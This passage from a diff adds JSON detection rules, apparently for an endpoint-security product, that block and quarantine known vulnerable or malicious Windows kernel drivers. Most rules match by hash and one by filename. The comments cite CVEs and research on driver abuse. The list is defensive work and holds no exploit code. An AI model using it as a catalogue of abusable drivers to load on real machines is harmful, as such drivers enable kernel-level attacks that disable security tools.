+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7555c82a5e6dd86cf4ba7bf3745700da025af20fee489864c76a98ae0792908f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "509a1e1d-2356-53af-a5ab-1c38a1ddff63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492232Z",
+  "creation_date": "2026-03-23T11:45:31.492234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "084f82fde42e6388de4ba807360d989deaf1777d89a87d1cb552ced6467b4287",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "509b5701-3fd2-53ca-b7df-85d01a5f7051",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827932Z",
+  "creation_date": "2026-03-23T11:45:31.827935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827944Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "addf4de4bd00a4d1a928a3dc80cc508b4cac3c263567d4d1a336ce64c6c225dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "509be2a1-0370-53e0-bea6-558647ac3a48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819377Z",
+  "creation_date": "2026-03-23T11:45:30.819379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91afa3de4b70ee26a4be68587d58b154c7b32b50b504ff0dc0babc4eb56578f4",
+  "comment": "Vulnerable Kernel Driver (aka VdBSv64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50a57743-81e7-5b86-8fa8-5915cc29a6ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143456Z",
+  "creation_date": "2026-03-23T11:45:31.143459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37a68e0746a1fad05fdcaf42051f42c1cb06d0b71fa91ffc6bf633cb84128f02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50a68351-931b-5f92-9e58-79c0ac11a0e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615589Z",
+  "creation_date": "2026-03-23T11:45:29.615591Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615596Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb4e3aa888a779238b210d6406aa480f01d27ea28d20699b1ec29a59dae19913",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50a86e60-ac98-59df-9f41-b3fe65cbf697",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830350Z",
+  "creation_date": "2026-03-23T11:45:30.830352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7c3bbb2810bb71e48c92223e48ba9a7180d31ca81b3a848f0414ae3e8eb2d36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50b22166-a1f3-5675-9f2e-01a8e92b4f32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159421Z",
+  "creation_date": "2026-03-23T11:45:31.159423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd16a8d8c15c3b5fc059c43b4cd46529a7f1803772f909794b4f4a1a0847f607",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50b6d9dd-cabf-5675-925e-ebfd464bf9ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457129Z",
+  "creation_date": "2026-03-23T11:45:30.457133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f4b06327ffbec2a59725a57c357daf54ea2f58aef5dc7ff3f5370168af09fb0",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50b93558-3405-564e-aef1-4fcd42e868d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458429Z",
+  "creation_date": "2026-03-23T11:45:30.458433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458449Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "748b6350472e21bab16497e4296794619dede7fcdb188fea1574f89498a2ff54",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50c049b8-1674-5649-8e59-c9587aca0ff7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822708Z",
+  "creation_date": "2026-03-23T11:45:30.822711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822717Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b2f669c6fb1e839ba146b416021ddfb7bf4785558113e11ac2c8a0e3399f338",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50c3b7ca-1615-5742-956b-298405b29fb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487052Z",
+  "creation_date": "2026-03-23T11:45:31.487055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cac5ec96dfcddba9045d401c22cf18f4c3bfda60ae5183b183b3621bdcda778",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50c9b1f7-a48d-5313-8d87-542715d6f45d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479301Z",
+  "creation_date": "2026-03-23T11:45:31.479305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2acf75a9b834ff3999c218e5a803876e181e9e0ed6d77174ef9a9e889d82bb03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50c9b6fb-64ff-5927-bf8f-6a6995dcc3d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971449Z",
+  "creation_date": "2026-03-23T11:45:29.971452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50d4ce18-40d0-52c2-b056-967b7612a942",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616761Z",
+  "creation_date": "2026-03-23T11:45:29.616765Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616773Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bee62b69023212a5a964d323f60e5858d7cbd767a39f3d5ef87cacb080b1dbf2",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50d61605-fffa-5ceb-9cda-dc176d79320b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984321Z",
+  "creation_date": "2026-03-23T11:45:29.984323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50e07033-dc05-55b0-bfee-cf675b326890",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479923Z",
+  "creation_date": "2026-03-23T11:45:30.479927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae9b7b6d688de9b7b5be8b4b4d61207b23a143818d4609426f0d53b6f09be9a2",
+  "comment": "Vulnerable AMD uProf Kernel Driver (aka AMDCpuProfiler.sys) [CVE-2023-20562] [https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50ebee9a-879b-5d19-b71a-b523edbcf350",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610689Z",
+  "creation_date": "2026-03-23T11:45:29.610691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50ef8b09-3be3-52d3-9a51-569670b1470c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464312Z",
+  "creation_date": "2026-03-23T11:45:30.464316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464325Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8ec06b1fa780f577ff0e8c713e0fd9688a48e0329c8188320f9eb62dfc0667f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50f54ee8-6b3b-5e7e-aab4-e8e4cee35d92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607091Z",
+  "creation_date": "2026-03-23T11:45:29.607093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607099Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "PROCEXP.SYS",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51007e20-bf30-596c-a5c6-6ac742352c26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493034Z",
+  "creation_date": "2026-03-23T11:45:31.493037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32030e49c352a25e3d373617dc58a267cb068e93196001340cb61d6537d9b7a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51079775-6177-595d-be5c-3974fa6bc666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147983Z",
+  "creation_date": "2026-03-23T11:45:31.147985Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1682b9bccf2ec3d397dc439a5bb6d986cd938bd63e8c9b7ed4c0512a7d71a6d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5108c865-7cff-5506-ba82-809ac78a6eb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808266Z",
+  "creation_date": "2026-03-23T11:45:31.808269Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808278Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "253f80e82f61e3dcf07f1a9fa55ac826323648c169f1df21e3e0e6335b13178c",
